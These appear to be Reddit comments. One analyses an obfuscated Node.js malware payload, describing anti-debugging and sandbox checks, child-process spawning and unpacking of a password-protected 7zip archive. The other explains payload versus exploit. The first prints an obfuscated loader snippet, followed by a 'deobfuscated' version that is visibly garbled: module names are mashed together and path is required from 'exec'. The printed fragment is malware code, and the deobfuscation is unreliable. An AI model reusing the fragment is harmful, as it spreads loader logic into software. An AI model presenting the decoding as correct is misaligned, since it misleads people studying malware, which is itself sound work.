Clever and interesting payload. It uses a lot of obfuscation to hide what it's doing...but essentially the while (!![]) loop is infinite & only really serves to rotate values in 0x811e19 using push and shift operations to manipulate the data structure. It also appears to check for the presence of debuggers or other tools inspecting it. Some of the obfuscated functions may be used to detect whether it's being run in a controlled / sandboxed environment. The code most likely would execute some other commands if it determined the environment was suitable. Not sure I'd be able to determine what without digging into it a lot of further. Some of the commands seem to indicate this has something to do with node.js (fs, exec, spawn, require as examples). It looks like it checks for the ability to spawn child processes, and if successful -> it then tries to unpack a 7zip archive with the password "password" Someone better than me who does this stuff for a living could probably tell you a lot more. See below section to see what I mean. Below is the obfuscated snippet: const { exec, spawn } = require(_0x1e3977(0x2b6, 0x329, 0x2e3, 0x2c8, 0x2cc) + _0x16e0a4(-0x11f, -0xb, -0xb7, -0x52, -0x80) + _0x16e0a4(-0x59, -0x7f, -0x6e, -0x10a, -0x81)), pathTo7zip = require(_0x16e0a4(-0x139, -0x17e, -0xd4, -0x52, -0x83) + _0x16e0a4(-0x5c, -0xa6, -0xe, -0x83, -0x94))[_0x24a788(0x2f, 0x92, 0x11d, 0xcc, 0x24) + 'za'], path = require(_0xe24720(0x110, 0x199, 0x1e0, 0x173, 0xe9)), fs = require('fs'), zipPath = path[_0x448715(0x1c3, 0x255, 0x269, 0x24f, 0x22a) + 've'](_0x1e3977(0x1ef, 0x20e, 0x1dc, 0x196, 0x196) + _0x16e0a4(-0x10d, -0x2, -0x96, -0xf, -0x14b) + _0x24a788(0x58, 0x10a, 0x18e, 0x97, 0x1ad) + _0x24a788(0x193, 0x173, 0xd6, 0x233, 0x16d)); function _0x16e0a4(_0x14ed3c, _0x2d9ca3, _0x491c64, _0x29577d, _0x283500) { return _0x165d(_0x491c64 - -0x2e7, _0x29577d); } Deobfuscates to: const { exec, spawn } = require('exectoStringresolve'), pathTo7zip = require('./path/to/7zipresolve')[_0x24a788(0x2f, 0x92, 0x11d, 0xcc, 0x24) + 'za'], path = require('exec'), fs = require('fs'), zipPath = path.output.zip('toStringexecchild_processoutput.zip'); More on reddit.com

Payloads usually refer to the malware code itself. The piece that gets dowloaded and run. The exploit is the flaw that malware uses to do its thing. The exploit is usually part of the program or system that the malware is attacking not part of the malware itself. More on reddit.com